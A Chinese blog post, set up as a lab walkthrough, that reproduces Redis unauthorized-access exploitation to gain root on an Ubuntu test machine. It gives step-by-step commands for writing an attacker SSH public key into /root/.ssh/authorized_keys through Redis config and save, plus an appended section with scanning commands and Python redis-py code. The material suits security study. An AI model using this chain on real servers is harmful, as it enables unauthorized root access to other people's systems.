Redis未授权访问漏洞利用实验

本文详细介绍了如何利用Redis未授权访问漏洞在Ubuntu靶机上获取root权限,涉及环境配置、漏洞利用步骤和安全防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Redis未授权访问漏洞利用实验

漏洞描述

Redis在默认的情况下,会绑定在本地的6379端口上,如果没有采用相关的防火墙策略,就会将Redis服务暴露在公网上;

对Redis配置不当将会导致未授权访问漏洞,从而被攻击者利用。在特定条件下,如果Redis以root身份运行,攻击者可以用root权限的身份写入ssh公钥文件,并通过ssh的方式远程登陆目标服务器,进而导致服务器权限被获取或者是信息泄露等一系列安全问题。

实验环境

Ubuntu18(靶机)
kali2020.1(攻击机)

实验条件

首先,要保证目标机器上安装有redis服务,以及ssh服务,并确保两者都是开启状态。同时,有需要的情况下还应当修改靶机上的ssh配置文件使其允许无密钥的登录;同时,在redis的配置文件中也应当将将protected-mode的那一行设置为no

实验过程

首先,通过redis 的命令连接到目标的redis 的服务上,然后再用info命令检验未授权访问漏洞是否存在。

redis-cli -h x.x.x.x
info

在这里插入图片描述
在这里可以看到是能够得到信息的,所以说靶机上的redis服务是存在未授权访问漏洞的。
咱们的目标是要利用这个漏洞然后连接到靶机所以需要现在本机上生成一个ssh的公钥

ssh-keygen -t rsa

在这里插入图片描述
然后将生成的密钥保存到本地的一个文件中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

在这里插入图片描述
将公钥写入靶机的redis缓存中

cat key.txt | redis-cli -h 192.168.59.132 -x set xxx

在这里插入图片描述
然后更改配置文件,查看一下公钥是否已经导入靶机中。

config set dir /root/.ssh
config set dbfilename authorized_keys
save

在这里插入图片描述
然后开启靶机的ssh服务用刚才在生成密钥时在passphrase中输入的密码进行登录,这里我用的就是空密码。

ssh root@192.168.59.132

在这里插入图片描述
成功用ssh连到目标机器并获得root权限。试验结束

### Redis 未授权访问漏洞复现步骤 对于 Redis 未授权访问漏洞的复现,可以按照以下方法进行操作: #### 配置环境准备 为了模拟真实的攻击场景并测试安全措施的有效性,需先搭建一个实验环境。确保所使用的 Redis 实例处于隔离环境中,以免造成实际生产系统的风险。 #### 设置无认证模式下的 Redis 服务 默认情况下,如果 Redis 安装完成后没有配置 `requirepass` 参数,则任何客户端都可以连接到该实例而无需提供密码验证[^3]。 ```bash # 查看当前配置状态 cat /usr/local/redis/6379.conf | grep requirepass ``` 当发现上述命令返回为空时,意味着此时 Redis 正运行于开放状态下,允许任意 IP 地址发起请求。 #### 利用工具探测目标主机上的 Redis 状态 通过 nmap 或者其他网络扫描器来检测远程机器上是否存在暴露在外网端口为 6379 的 Redis 数据库实例,并尝试与其建立连接。 ```bash nmap -p 6379 <target_ip> ``` 一旦确认存在这样的情况,就可以利用 Python 脚本或者其他编程语言编写简单的程序去读取或写入数据至数据库内。 #### 执行恶意指令 假设已经成功连上了这台脆弱的服务端设备,那么攻击者便能执行诸如获取键值对、修改配置甚至是发送 shutdown 关闭服务器等危险动作[^2]。 ```python import redis r = redis.Redis(host='<target_ip>', port=6379, db=0) print(r.get('some_key')) # 获取某个 key 对应 value r.set('new_key', 'value') # 插入新的记录 r.config_set('dir', '/tmp/') # 更改工作目录以便后续保存 RDB 文件 r.save() # 强制立即持久化内存中的数据集到磁盘 ``` 以上就是关于 Redis 未授权访问漏洞的一个简单重现过程描述。值得注意的是,在真实世界里实施此类行为属于非法入侵计算机信息系统罪,请务必仅限于合法合规的学习研究用途之内。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值